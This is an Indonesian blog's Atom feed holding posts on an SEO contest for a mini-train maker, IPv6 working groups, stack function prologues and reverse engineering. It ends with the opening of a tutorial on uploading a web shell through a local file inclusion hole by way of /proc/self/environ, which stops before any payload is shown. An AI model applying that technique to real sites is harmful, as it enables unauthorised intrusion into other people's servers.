Disel / genset. Kami Produsen &lt;a href=&quot;http://www.keretamini.com/?PRODUK_KAMI:KOMEDI_PUTAR&quot; target=&quot;_blank&quot; title=&quot;KOMEDI PUTAR&quot;&gt;kereta mini&lt;/a&gt; punya produk lain yang Sangat cocok untuk indoor maupun out door, ditempat permanen maupun berpindah pindah. &lt;a href=&quot;http://www.keretamini.com/?HOME:ROLLING_STAR&quot; target=&quot;_blank&quot; title=&quot;ROLLING STAR&quot;&gt;Mainan helikopter&lt;/a&gt; tunggal ini sangat menarik dan menguntungkan karena sebagai peluang usaha terbaru anda Ada lampu dan sirine 6 suara. &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Harga Rp. 30 Juta&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; New&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.keretamini.com/?HOME:KOMEDI_PUTAR_BESAR&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Komedi Putar Besar&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.keretamini.com/images/mainan%20besar/keretamini%20komedi%20putar.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;133&quot; src=&quot;http://www.keretamini.com/images/mainan%20besar/keretamini%20komedi%20putar.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Komedi kuda putar besar yang sangat manarik cocok utuk di mall dan obyek wisata. &lt;a href=&quot;http://www.keretamini.com/?HOME&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;kereta mini&lt;/b&gt;&lt;/a&gt; Digerakan dengan dinamo motor listrik DC sehingga aman dan tidak berisik.Cocok untuk melengkapi &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;kereta mini&lt;/b&gt;&lt;/a&gt;. &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Harga mulai dari 85 jt -130jt&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dan masih banyak lagi produk-produk berkualitas berharga murah yang di tawarkan oleh produsen ini, untuk lebih lengkapanya anda dapat berkunjung di situs resminya langsung yaitu &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;www.keretamini.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ok, sekarang kita kembali ke pokok pembahasan, yaitu tentang kontes SEO yang di adakan oleh perusahaan ini. Sebelumnya keretamini.com sendiri sudah beberapa kali mengadakan kontes seo untuk pala blogger di tanah air ini, dan di tahun 2013 ini kembali lagi mengadakan kontes SEO dengan hadiah yang cukup besar, berikut ini penjelasan tentang kontes tersebut.&lt;br /&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;menu&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;&lt;a href=&quot;http://www.keretamini.com/?KONTES_SEO_KERETAMINI.COM&quot; target=&quot;_blank&quot;&gt;KONTES SEO KERETAMINI.COM&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;b&gt;Total hadiah Rp 3.700.000&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Hadiah!&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Juara 1 uang tunai Rp.1.500.000&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Juara 2 uang tunai Rp.1.000.000&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Juara 3 uang tunai Rp.500.000&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Juara 4 sampai 10  Rp.100.000&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Update&lt;/b&gt; untuk juara 11 - 20 hadiah hiburan voucher pulsa 20Ribu&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Waktu dan Pelaksanaan kontes&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1.   Dimulai 1 februari 2013 pukul 00.00 WIB – 1 Mei 2013 pukul 00.00 WIB&lt;br /&gt;
2.   Pengumuman pemenang akan diumumkan di www.keretamini.com paling lambat 5 mei 2013.&lt;br /&gt;
3.   Target mesin pencari &lt;a href=&quot;http://google.co.id/&quot; target=&quot;_blank&quot;&gt;google.co.id&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Keyword Yang dimainkan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&quot;keretamini.com pabrik kereta mini no 1. ready stock&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Peraturan dan Syarat Kontes&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1.   &lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;Update&lt;/b&gt;&lt;/span&gt; Mulai tanggal 12 
Maret 2013 bagi peserta yang ingin mendaftar kontes SEO mengirimkan form
 pendaftaran ke email kami dengan isi  :&lt;br /&gt;
&lt;br /&gt;
Nama :&lt;br /&gt;
&lt;br /&gt;
Alamat :&lt;br /&gt;
&lt;br /&gt;
Email :&lt;br /&gt;
&lt;br /&gt;
No HP :&lt;br /&gt;
&lt;br /&gt;
Alamat URL yang dilombakan :&lt;br /&gt;
&lt;br /&gt;
Kirimkan email anda ke pabrikkeretamini@gmail.com dengan subjek atau perihalPendaftaran Kontes SEO&lt;a href=&quot;http://www.emailmeform.com/builder/form/0jsR16TDIMqp1ced696Kdbw&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
2.   Judul artikel bebas dan boleh menggunakan target kata kunci&lt;br /&gt;
&lt;br /&gt;
3.   Boleh menggunakan Blog dengan Subdomain, misal Blospot maupun wordpress dll&lt;br /&gt;
&lt;br /&gt;
4.   Penulisan artikel harus orisinil. Dan mengunakan bahasa Indonesia yang baik dan benar.&lt;br /&gt;
&lt;br /&gt;
5.   Peserta tidak boleh menggunakan domain atau subdomain berisi kata kunci yang dilombakan&lt;br /&gt;
&lt;br /&gt;
6.   Tidak diperkenankan memakai iklan PPC untuk promosi blog/website/ artikel.&lt;br /&gt;
&lt;br /&gt;
7.   Tidak diperbolehkan mengunakan Metode Black Hat SEO Apabila Peserta
 kedapatan memakai metode ini maka otomatis akan didiskualifikasi.&lt;br /&gt;
&lt;br /&gt;
8.   Blog, Website ataupun Artikel tidak boleh menyinggung SARA, 
pornografi dan melanggar undang undang yang berlaku di Republik 
Indonesia.&lt;br /&gt;
&lt;br /&gt;
9.   Setiap peserta wajib menulis artikel dengan panjang minimal 400 kata dan harus mencantumkan 5 linkback dengan ancor text:&lt;br /&gt;
&lt;br /&gt;
1 - kereta mini&lt;br /&gt;
&lt;br /&gt;
mengarah ke:  &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;http://www.keretamini.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2 - www.keretamini.com&lt;br /&gt;
&lt;br /&gt;
mengarah ke &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;http://www.keretamini.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3 - komedi putar &lt;br /&gt;
&lt;br /&gt;
mengarah ke  &lt;a href=&quot;http://www.pabrikkeretamini.com/products/4/0/KOMEDI-PUTAR/&quot; target=&quot;_blank&quot;&gt;http://www.pabrikkeretamini.com/products/4/0/KOMEDI-PUTAR/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4 -  istana balon&lt;br /&gt;
&lt;br /&gt;
mengarah ke &lt;a href=&quot;http://www.istana-balon.com/&quot; target=&quot;_blank&quot;&gt;http://www.istana-balon.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
5 - Kereta mini&lt;br /&gt;
&lt;br /&gt;
mengarah ke &lt;a href=&quot;http://www.pabrikkeretamini.com/&quot; target=&quot;_blank&quot;&gt;http://www.pabrikkeretamini.com/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
10.  Peserta wajib memasang banner kontes seo kereta mini tampil di 
semua page web/blognya. Jika didapati tidak terdapat banner Lomba maka 
blog anda otomatis diskualifikasi tanpa pemberitahuan terlebih dahulu. 
(pilih salah satu)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; ukuran 250x250&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.keretamini.com/?KONTES_SEO_KERETAMINI.COM&quot;&gt;&lt;img src=&quot;http://www.keretamini.com/images/kontes%20seo/bannerkontes1%20250x250.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ukuran 200x200&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.keretamini.com/?KONTES_SEO_KERETAMINI.COM&quot;&gt;&lt;img src=&quot;http://www.keretamini.com/images/kontes%20seo/bannerkontes2%20200x200.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ukuran 480x60&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.keretamini.com/?KONTES_SEO_KERETAMINI.COM&quot;&gt;&lt;img src=&quot;http://www.keretamini.com/images/kontes%20seo/bannerkontes3%20480x60.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11.  Artikel atau postingan yang hanya semata-mata berisikan atau 
memberikan informasi berita Lomba tersebut otomatis akan 
didiskualifikasi.&lt;br /&gt;
&lt;br /&gt;
12.  Minimal Artikel harus terindex 10 hari pada &lt;a href=&quot;http://google.co.id/&quot; target=&quot;_blank&quot;&gt;google.co.id&lt;/a&gt;, dihitung dari sebelum kontes berakhir.&lt;br /&gt;
&lt;br /&gt;
13.  Menampilkankan Timestamp atau waktu pada search result &lt;a href=&quot;http://google.co.id/&quot; target=&quot;_blank&quot;&gt;google.co.id&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
14.  Peserta wajib like Facebook Fanspageke&lt;a href=&quot;http://www.facebook.com/pages/Kereta-Mini-Mainan-Anak/202535253181214&quot; target=&quot;_blank&quot;&gt;http://www.facebook.com/pages/Kereta-Mini-Mainan-Anak/202535253181214&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
15.  Wajib menghilangkan komentar yang mengarah ke produsen sesama pembuat mainan kereta mini.&lt;br /&gt;
&lt;br /&gt;
16.  Juri Lomba SEO kereta mini memiliki wewenang mutlak atas para pemenang.&lt;br /&gt;
&lt;br /&gt;
17.  Daftar pemenang bisa dilihat di halaman web &lt;a href=&quot;http://www.keretamini.com/&quot; target=&quot;_blank&quot;&gt;www.keretamini.com&lt;/a&gt; dan akan dihubungi via HP maupun Email&lt;br /&gt;
&lt;br /&gt;
18.  Peserta yang melanggar peraturan diatas, secara otomatis akan didiskualifikasi.&lt;br /&gt;
&lt;br /&gt;
Apabila pada hari terakhir Lomba jumlah peserta dan artikel di Google 
masih dibawah 50, maka pelaksanaan Lomba akan diperpanjang selama 30 
hari.&lt;br /&gt;
**Peraturan diatas akan selalu berlaku pada bulan berikutnya jika jumlah peserta dan artikel masih dibawah 50.&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Ok sekian dulu informasi dari saya, bagi yang berminat mengenai kontes ini gak usah tunggu lama-lama&amp;nbsp; langsung saja ikutan daftar ya...&lt;br /&gt;
&lt;br /&gt;
Akhir kata, Semoga Beruntung... ^_^</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/6597652161962922715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/kontes-seo-keretaminicom-pabrik-kereta.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/6597652161962922715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/6597652161962922715'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/kontes-seo-keretaminicom-pabrik-kereta.html' title='Kontes Seo keretamini.com pabrik kereta mini no 1. ready stock'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-215722611289916989</id><published>2013-04-12T22:38:00.001-07:00</published><updated>2013-04-12T22:38:18.667-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="networking"/><title type='text'>Grup-Grup Kerja IPv6</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://2.bp.blogspot.com/-XGJGkjBxNhc/T8yoe44rAUI/AAAAAAAABQc/h0fpDGdWx8Y/s1600/IPv6.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;137&quot; src=&quot;https://2.bp.blogspot.com/-XGJGkjBxNhc/T8yoe44rAUI/AAAAAAAABQc/h0fpDGdWx8Y/s1600/IPv6.gif&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Berikut merupakan beberapa organisasi atau komunitas yang berperan penting dalam pengembangan dan pemasyarakatan IPv6.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;IPv6 Working Group&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
IPv6 working group merupakan bagian dari IETF working group, diresmikan sebagai group kerja untuk mengembangkan Internet Protocol generasi mendatang, dulunya bernama IP Next Generation Working Group (IPNGWG).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6Bone&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
6Bone atau IPv6 backbone, didirikan untuk membantu penerapan dan evolusi IPv6 di internet. 6Bone dikonsep tahun 1995.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Next Generation Transition Working Group&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Next Generation Transition (ngtrans)&lt;b&gt; &lt;/b&gt;working group merupakan bagian dari IETF&lt;b&gt;. &lt;/b&gt;Bertanggung jawab dalam perancangan mekanisme dan prosedur-prosedur untuk mendukung transisi-transisi internet dari IPv4 ke IPv6&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6ren&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
6ren merupakan sebuah inisiatif suka rela dari jaringan-jaringan riset dan pendidikan, memberikan transit IPv6, memfasilitasi penerapan IPv6 yang memiliki performasi dan kualitas tinggi. Partisipasi bersifat terbuka untuk semua jaringan (organisasi) riset dan pendidikan yang memberikan layanan IPv6. Baik jaringan profit maupun non-profit dapat bergabung dan berpatisipasi.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;IPv6 Forum&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
IPv6 forum merupakan sebuah konsorsium dunia yang menjembatani vendor-vendor Internet dan jaringan-jaringan riset dan pendidikan, dengan misi mempromosikan IPv6, meningkatkan market dan pengguna IPv6.&lt;br /&gt;
&lt;br /&gt;

&lt;!-- Blogger automated replacement: &quot;http://images-onepick-opensocial.googleusercontent.com/gadgets/proxy?container=onepick&amp;amp;gadget=a&amp;amp;rewriteMime=image%2F*&amp;amp;url=http%3A%2F%2F2.bp.blogspot.com%2F-XGJGkjBxNhc%2FT8yoe44rAUI%2FAAAAAAAABQc%2Fh0fpDGdWx8Y%2Fs1600%2FIPv6.gif&quot; with &quot;https://2.bp.blogspot.com/-XGJGkjBxNhc/T8yoe44rAUI/AAAAAAAABQc/h0fpDGdWx8Y/s1600/IPv6.gif&quot; --&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/215722611289916989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/grup-grup-kerja-ipv6.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/215722611289916989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/215722611289916989'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/grup-grup-kerja-ipv6.html' title='Grup-Grup Kerja IPv6'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-XGJGkjBxNhc/T8yoe44rAUI/AAAAAAAABQc/h0fpDGdWx8Y/s72-c/IPv6.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-2228594790917338122</id><published>2013-04-12T22:14:00.002-07:00</published><updated>2013-04-12T22:14:29.373-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>alur kerja aplikasi saat di eksekusi</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
&amp;nbsp;&lt;img border=&quot;0&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj1jga2yPrTLn-XubyD533nviLsWSmkpZWc97RZ5T6L6xRyKuntI-dRZzD2yMyGiNUirpzA7VQA3cyg_twFfklvi78nfMKb6Pbr7yp4Ngosq9w8Jguqx6w-PC_O_GETfeVNeN9ynkkMZ0/s200/13.gif&quot; width=&quot;200&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bagaimana sih alur sebuah aplikasi ketika di eksekusi dalam sistam...? Saat sebuah aplikasi di eksekusi oleh sistem, ada beberapa kejadian yang tidak terlihat di mata kita. Secara umum, ketika sebuah aplikasi berjalan dan memanggil fungsi2 yang ada di dalam dirinya akan terjadi proses sebagai berikut (Secara berurutan) :&amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;1. Fungsi akan dipanggil untuk di eksekusi&lt;br /&gt;2. Register EIP di PUSH ke dalam stack memori&lt;br /&gt;3. Register EBP di PUSH ke dalam stack memori&lt;br /&gt;4. Register EBP menyimpan variabel dari nilai ESP&lt;br /&gt;5. Ruang memori untuk menyimpan variabel local disediakan dengan melakukan perintah SUB dari register ESP sebesar nilai variabel&lt;br /&gt;6. Beberapa kode perintah yang berada di dalam fungsi di eksekusi&lt;br /&gt;7. Nilai variabel yang telah di SUB dari regiseter ESP sekarang dikembalikan ke register ESP&lt;br /&gt;8. Leave dan RET dieksekusi&lt;br /&gt;9. Register EIP di POP dari dalam stack&lt;br /&gt;&lt;br /&gt;Dalam dunia pemrograman asembly, step 1 sampai 5 disebut sebagai function prolouge, sedangkan step mulai 6 hingga sembilan disebut function epilogue. ^_^&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/2228594790917338122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/alur-kerja-aplikasi-saat-di-eksekusi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2228594790917338122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2228594790917338122'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/alur-kerja-aplikasi-saat-di-eksekusi.html' title='alur kerja aplikasi saat di eksekusi'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj1jga2yPrTLn-XubyD533nviLsWSmkpZWc97RZ5T6L6xRyKuntI-dRZzD2yMyGiNUirpzA7VQA3cyg_twFfklvi78nfMKb6Pbr7yp4Ngosq9w8Jguqx6w-PC_O_GETfeVNeN9ynkkMZ0/s72-c/13.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-1706362827389152655</id><published>2013-04-12T22:01:00.011-07:00</published><updated>2013-04-18T22:26:51.578-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>apa itu Reverse engineering?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj1jga2yPrTLn-XubyD533nviLsWSmkpZWc97RZ5T6L6xRyKuntI-dRZzD2yMyGiNUirpzA7VQA3cyg_twFfklvi78nfMKb6Pbr7yp4Ngosq9w8Jguqx6w-PC_O_GETfeVNeN9ynkkMZ0/s1600/13.gif&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj1jga2yPrTLn-XubyD533nviLsWSmkpZWc97RZ5T6L6xRyKuntI-dRZzD2yMyGiNUirpzA7VQA3cyg_twFfklvi78nfMKb6Pbr7yp4Ngosq9w8Jguqx6w-PC_O_GETfeVNeN9ynkkMZ0/s640/13.gif&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Reverse engineering adalah sebuah proses untuk mencari dan menemukan teknologi yang bekerja di balik suatu sistem, perangkat atau objek, melalui sebuah proses analisa mendalam pada struktur, fungsi dan cara kerja dari sistem, perangkat atau objek yang di teliti. Secara singkat dapat disimpulkan bahwa reverse engineering adalah sebuah proses peng ekstrakan informasi yang ada pada sebuah sistem. &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Di dalam dunia IT, reverse engineering terkait erat dengan software atau aplikasi yang berjalan pada sebuah sistem. Proses reverse engineering pada sebuah software juga sering di sebut dengan istilah RCE atau Reverse Code Engineering. Biasanya proses RCS bisa delakukan dengan beberapa cara, yaitu: &lt;br /&gt;
&lt;br /&gt;
Disassembly&lt;br /&gt;
Disassembly adalah proses melihat kembali bahasa mesin dari aplikasi atau file, pada dasarnya komputer melakukan pembacaan sebuah aplikasi atau file menggunakan bahasa mesin atau bahasa level rendah (Low Level Language), yang biasanya adalah bahasa assembly. Bahasa assembly sendiri adalah bahasa terrendah pada siklus bahasa pemrograman sistem, semua proses software yang di eksekusi oleh komputer pada akhirnya akan di eksekusi menggunakan bahasa assembly meskipun software tersebut dibuat menggunakan bahasa level tinggi (High Level Language) seperti VB, Pascal, C/C++ dll, hal ini yang membuat bahasa assembly menjadi bahasa yang penting dalam proses reverse code engineering.&lt;br /&gt;
&lt;br /&gt;
Decompile&lt;br /&gt;
Berbeda dengan proses desaassembly, pada proses decompile, software atau aplikasi akan dibaca dalam bentuk mendekati bahasa asal ketika aplikasi di buat, walaupun terkadang hasil proses decompile juga akan terdapat beberapa penggunaan bahasa assembly di dalamnya. Namun secara umum, hasil yang akan dimunculkan akan menghasilkan sintaks yang menggunakan bahasa yang di gunakan untuk membangun aplikasi atau software yang di decompile, hasil yang muncul adalah source code yang mendekati struktur asli dari aplikasi dalam bentuk bahasa java, misal kita dapat mengetahui fungsi-fungsi yang ada atau variabel yang di gunakan.&lt;br /&gt;
&lt;br /&gt;
Alasan Melakukan Reverse Code Engineering&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Ada banyak alasan mengapa seseorang atau organisasi melakukan reverse engineering. Beberapa alasan yang paling sering muncul di dalam duniaIT adalah:&lt;br /&gt;
* Pembuatan ulang dokumentasi, apabila dokumentasi dari sebuah aplikasi hilang&lt;br /&gt;
* Cracking, atau pembajakan aplikasi&lt;br /&gt;
* Audit keamanan&lt;br /&gt;
* Mempelajari aplikasi malware, untuk kepentingan antisipasi serangan&lt;br /&gt;
* Analisa produk&lt;br /&gt;
* Mencari data sensitif pada sebuah sistem&lt;br /&gt;
* Keperluan militer, seperti mata-mata menggunakan software. ^_^</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/1706362827389152655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/apa-itu-reverse-engineering_12.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1706362827389152655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1706362827389152655'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2013/04/apa-itu-reverse-engineering_12.html' title='apa itu Reverse engineering?'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj1jga2yPrTLn-XubyD533nviLsWSmkpZWc97RZ5T6L6xRyKuntI-dRZzD2yMyGiNUirpzA7VQA3cyg_twFfklvi78nfMKb6Pbr7yp4Ngosq9w8Jguqx6w-PC_O_GETfeVNeN9ynkkMZ0/s72-c/13.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-7445076292706579732</id><published>2013-02-25T01:44:00.000-08:00</published><updated>2013-03-28T23:08:48.620-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking/cracking"/><title type='text'>Upload Shell Lewat Celah LFI</title><content type='html'>&lt;i&gt;Kali ini kita akan membahas tentang cara upload shell lewat celah LFI (Local File Inclusion)....&lt;br /&gt;&lt;br /&gt;Persiapan :&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;1. target vuln LFI&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;2. mozilla.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;3. &lt;cite&gt;&lt;b&gt;&quot;addon live http header&quot; &lt;/b&gt;anda bisa mendownloadnya di sini&lt;b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href=&quot;http://www.blogger.com/goog_740939365&quot;&gt;http&lt;/a&gt;&lt;/b&gt;&lt;a href=&quot;s://addons.mozilla.org/en/firefox/addon/live-http-headers/&quot;&gt;s://&lt;b&gt;addons&lt;/b&gt;.mozilla.org/en/firefox/&lt;b&gt;addon&lt;/b&gt;/&lt;b&gt;live&lt;/b&gt;-&lt;b&gt;http&lt;/b&gt;-&lt;b&gt;headers&lt;/b&gt;/&lt;/a&gt;&lt;/cite&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;cite&gt;4.&amp;nbsp; mild + segelas susu hangat.... ^_^&lt;/cite&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;cite&gt;&lt;br /&gt;&lt;/cite&gt;&lt;/i&gt;
&lt;i&gt;&lt;cite&gt;pertama2 temukan dulu file /proc/self/environ jika udah ketemu kurang-lebih tampilannya seperti ini...&lt;/cite&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;cite&gt;&lt;br /&gt;&lt;/cite&gt;&lt;/i&gt;
